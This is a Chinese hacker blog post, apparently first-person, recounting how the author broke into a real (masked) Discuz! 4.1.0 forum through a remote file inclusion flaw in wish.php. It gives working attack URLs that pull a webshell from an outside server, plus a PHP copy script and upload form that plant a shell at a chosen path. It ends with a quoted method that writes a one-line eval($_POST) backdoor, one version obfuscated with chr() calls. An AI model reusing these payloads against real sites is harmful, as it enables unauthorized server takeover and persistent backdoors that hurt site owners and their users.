半夜和朋友喝酒回来,看到群里有朋友发了关于Discuz的一个文件包含
漏洞的地址,以前没搞过php的webshell,试试吧,看朋友发出的那个论坛是Discuz! 4.1.0,
漏洞文件是wish.php
在google中搜索Powered by Discuz! 4.1.0 wish.php,搜到
www.xxx.com/bbs/wish.php(就不说是哪个站了),IE地址栏访问
www.xxx.com/bbs/wish.php?discuz_root=http://www.spr1t3.com/phpshell.txt?
记得别忘记了最后的?号,否则会出错
页面出现了phpshell的登陆界面,输入密码后自动跳转,汗噢,跳转到了
www.xxx.com/bbs/wish.php 换个不用登陆的remview.php试,www.xxx.com/bbs/wish.php?discuz_root=http://www.spr1t3.com/remview.txt?,出现了shell界面但是程序代码被破坏了.怎么办,想了半分钟,再试一次刚才的phpshell,到了自动跳转时,按shift键点跳转的连接,在弹出的这个页面上再次访问
www.xxx.com/bbs/wish.php?discuz_root=http://www.spr1t3.com/phpshell.txt?,好了,这次是webshell了,但是点击
网站下的目录后程序跳到了
www.xxx.com/bbs/wish.php?dir=.%2F/admin (%2F是/的url编码),给phpshell传不了参数,又陷入了困难,搜网上的远程文件包含
漏洞的利用,看到有篇文章在远程文件包含的文件后加&来给传参数,于是访问
www.xxx.com/bbs/wish.php?discuz_root=http://www.spr1t3.com/phpshell.txt?&action=phpinfo获取了phpinfo()的信息,想了半天,也没想出怎么利用这个shell来搞个服务器上的webshell.
换思路,想起前几天看angel的《PHP+MySQL注入导出文件的新发现——附带IPB2的
漏洞利用》文章中注入获取webshell的方法,建个<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>的文件传到偶服务器上存为php_copy.txt,修改本地表单提交的文件内容为:
<form ENCTYPE="multipart/form-data" ACTION="
www.xxx.com/bbs/wish.php?discuz_root=http://www.spr1t3.com/php_copy.txt?" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE="提交" TYPE="submit">
</form>
上传phpshell.php,提交后访问
www.xxx.com/bbs/phpshell.php,竟然是File not found.
保存不了shell怎么办,郁闷半天,如果能指定保存文件的地址,那就写入了shell,修改php_copy.txt的内容,指定copy的参数,<?copy($_FILES[MyFile][tmp_name],"/usr/local/httpdocs/bbs/jack.php");?>
意思是将传上去的临时文件复制为/usr/local/httpdocs/bbs/jack.php(
网站的根目录已经由开始的phpinfo获取了),由本地提交表单再次上传文件,怀着忐忑的心访问
www.xxx.com/bbs/jack.php,哇,可爱的登陆界面出现了~~登陆进去,把有
漏洞的文件wish.php开始的require $discuz_root.'./include/discuzcode.func.php';中的$discuz_root.去掉,然后通知管理员.
此文章没什么技术含量,是偶第一次搞到php的webshell的全过程.因为对php的不了解,中间走了弯路,继续学习ing~
去火狐
http://wrsky.com论坛看到9xiao哥的方法:
<?echo '<?' ?>
if(!file_exists('forumdata/cache/9xiao.php'))
{
fputs(fopen('forumdata/cache/9xiao.php','a+'),'Am i a
hacker? --9xiao <?echo '<?' ?>eval($_POST[9xiao]);<?echo '?>'?>');
}
<?echo '?>'?>
放到
网站include目录下下命名为discuzcode.func.php
exp格式
www.xxx.com/wish.php?discuz_root=http://9xiao.net,然后访问
www.xxx.com/forumdata/cache/9xiao.php,为lanker的一句话
木马服务器端
<?echo '<?' ?>
if(!file_exists('forumdata/cache/9xiao.php'))
{
<?fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62))?>
}
<?echo '?>'?>